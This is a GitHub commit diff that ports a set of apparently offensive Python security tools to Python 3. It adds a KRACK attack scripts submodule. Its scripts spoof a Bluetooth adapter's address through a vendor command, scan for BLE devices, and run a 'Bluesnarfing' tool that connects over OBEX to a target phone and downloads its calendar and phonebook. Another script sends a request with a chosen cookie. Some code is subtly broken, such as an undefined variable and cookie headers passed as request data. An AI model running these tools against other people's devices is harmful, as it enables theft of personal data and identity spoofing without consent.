-
Notifications
You must be signed in to change notification settings - Fork 67
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
Showing
65 changed files
with
686 additions
and
550 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,3 @@ | ||
[submodule "krackattacks-scripts"] | ||
path = krackattack | ||
url = https://github.com/vanhoefm/krackattacks-scripts |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -1,41 +1,44 @@ | ||
#!/usr/bin/python | ||
#!/usr/bin/python3 | ||
|
||
import sys | ||
import struct | ||
import bluetooth._bluetooth as bt | ||
import codecs | ||
|
||
if len(sys.argv) < 2: | ||
print sys.argv[0] + " <bdaddr>" | ||
print(sys.argv[0] + " <bdaddr>") | ||
sys.exit(1) | ||
|
||
# Split bluetooth address into it's bytes | ||
baddr = sys.argv[1].split(":") | ||
|
||
# Open hci socket | ||
sock = bt.hci_open_dev(0) | ||
sock = bt.hci_open_dev(1) | ||
|
||
# CSR vendor command to change address | ||
cmd = [ "\xc2", "\x02", "\x00", "\x0c", "\x00", "\x11", | ||
"\x47", "\x03", "\x70", "\x00", "\x00", "\x01", | ||
"\x00", "\x04", "\x00", "\x00", "\x00", "\x00", | ||
"\x00", "\x00", "\x00", "\x00", "\x00", "\x00", | ||
"\x00" ] | ||
cmd = [ b"\xc2", b"\x02", b"\x00", b"\x0c", b"\x00", b"\x11", | ||
b"\x47", b"\x03", b"\x70", b"\x00", b"\x00", b"\x01", | ||
b"\x00", b"\x04", b"\x00", b"\x00", b"\x00", b"\x00", | ||
b"\x00", b"\x00", b"\x00", b"\x00", b"\x00", b"\x00", | ||
b"\x00" ] | ||
|
||
# Set new addr in hex | ||
cmd[17] = baddr[3].decode("hex") | ||
cmd[19] = baddr[5].decode("hex") | ||
cmd[20] = baddr[4].decode("hex") | ||
cmd[21] = baddr[2].decode("hex") | ||
cmd[23] = baddr[1].decode("hex") | ||
cmd[24] = baddr[0].decode("hex") | ||
decode_hex = codecs.getdecoder("hex_codec") | ||
|
||
cmd[17] = decode_hex(baddr[3])[0] | ||
cmd[19] = decode_hex(baddr[5])[0] | ||
cmd[20] = decode_hex(baddr[4])[0] | ||
cmd[21] = decode_hex(baddr[2])[0] | ||
cmd[23] = decode_hex(baddr[1])[0] | ||
cmd[24] = decode_hex(baddr[0])[0] | ||
|
||
# Send HCI request | ||
bt.hci_send_req(sock, | ||
bt.OGF_VENDOR_CMD, | ||
0, | ||
bt.EVT_VENDOR, | ||
2000, | ||
"".join(cmd)) | ||
b"".join(cmd)) | ||
|
||
sock.close() | ||
print "Dont forget to reset your device" | ||
print("Dont forget to reset your device") |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,15 @@ | ||
#!/usr/bin/python3 | ||
|
||
from bluetooth.ble import BeaconService | ||
|
||
service = BeaconService() | ||
devices = service.scan(10) | ||
|
||
for addr, data in devices.items(): | ||
print("%s (UUID %s Major %d Minor %d Power %d RSSI %d)" % (addr, | ||
data[0], | ||
data[1], | ||
data[2], | ||
data[3], | ||
data[4])) | ||
|
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,13 @@ | ||
#!/usr/bin/python3 | ||
|
||
from gattlib import GATTRequester | ||
import sys | ||
|
||
if len(sys.argv) < 2: | ||
print("Usage: " + sys.argv[0] + " <addr>") | ||
sys.exit(0) | ||
|
||
req = GATTRequester(sys.argv[1], True) | ||
|
||
for service in requester.discover_primary(): | ||
print(service) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,10 @@ | ||
#!/usr/bin/python3 | ||
|
||
from bluetooth.ble import DiscoveryService | ||
|
||
service = DiscoveryService() | ||
devices = service.discover(2) | ||
|
||
for addr, name in devices.items(): | ||
print("Found %s (%s)" % (name, addr)) | ||
|
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -1,28 +1,47 @@ | ||
#!/usr/bin/python | ||
#!/usr/bin/python3 | ||
|
||
import sys | ||
from os.path import basename | ||
from lightblue.obex import OBEXClient | ||
from PyOBEX import client, headers, responses | ||
|
||
|
||
def get_file(client, filename): | ||
""" | ||
Use OBEX get to retrieve a file and write it | ||
to a local file of the same name | ||
""" | ||
r = client.get(filename) | ||
|
||
if isinstance(r, responses.FailureResponse): | ||
print("Failed to get file " + filename) | ||
else: | ||
headers, data = r | ||
|
||
fh = open(filename, "w+") | ||
fh.write(data) | ||
fh.close() | ||
|
||
|
||
if len(sys.argv) < 3: | ||
print sys.argv[0] + ": <btaddr> <channel>" | ||
print(sys.argv[0] + ": <btaddr> <channel>") | ||
sys.exit(0) | ||
|
||
btaddr = sys.argv[1] | ||
channel = int(sys.argv[2]) | ||
|
||
print "Bluesnarfing %s on channel %d" % (btaddr, channel) | ||
|
||
obex = OBEXClient(btaddr, channel) | ||
obex.connect() | ||
print("Bluesnarfing %s on channel %d" % (btaddr, channel)) | ||
|
||
fh = file("calendar.vcs", "w+") | ||
obex.get({"name": "telecom/cal.vcs"}, fh) | ||
fh.close() | ||
c = client.BrowserClient(btaddr, channel) | ||
|
||
try: | ||
r = c.connect() | ||
except OSError as e: | ||
print("Connect failed. " + str(e)) | ||
|
||
fh = file("phonebook.vcf", "w+") | ||
obex.get({"name": "telecom/pb.vcf"}, fh) | ||
fh.close() | ||
if isinstance(r, responses.ConnectSuccess): | ||
c.setpath("telecom") | ||
|
||
get_file(c, "cal.vcs") | ||
get_file(c, "pb.vcf") | ||
|
||
obex.disconnect() | ||
c.disconnect() |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -1,6 +1,7 @@ | ||
#!/usr/bin/python | ||
#!/usr/bin/python3 | ||
|
||
import lightblue | ||
import bluetooth as bt | ||
|
||
for (addr, name) in bt.discover_devices(lookup_names=True): | ||
print("%s %s" % (addr, name)) | ||
|
||
for device in lightblue.finddevices(): | ||
print device[0] + " " + device[1] |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -1,15 +1,13 @@ | ||
#!/usr/bin/python | ||
#!/usr/bin/python3 | ||
|
||
import sys | ||
import httplib2 | ||
import requests | ||
|
||
if len(sys.argv) < 3: | ||
print sys.argv[0] + ": <url> <key> <value>" | ||
print(sys.argv[0] + ": <url> <key> <value>") | ||
sys.exit(1) | ||
|
||
webclient = httplib2.Http() | ||
headers = {'Cookie': sys.argv[2] + '=' + sys.argv[3]} | ||
response, content = webclient.request(sys.argv[1], | ||
'GET', | ||
headers=headers) | ||
print content | ||
r = requests.get(sys.argv[1], data=headers) | ||
|
||
print(r.content) |
Oops, something went wrong.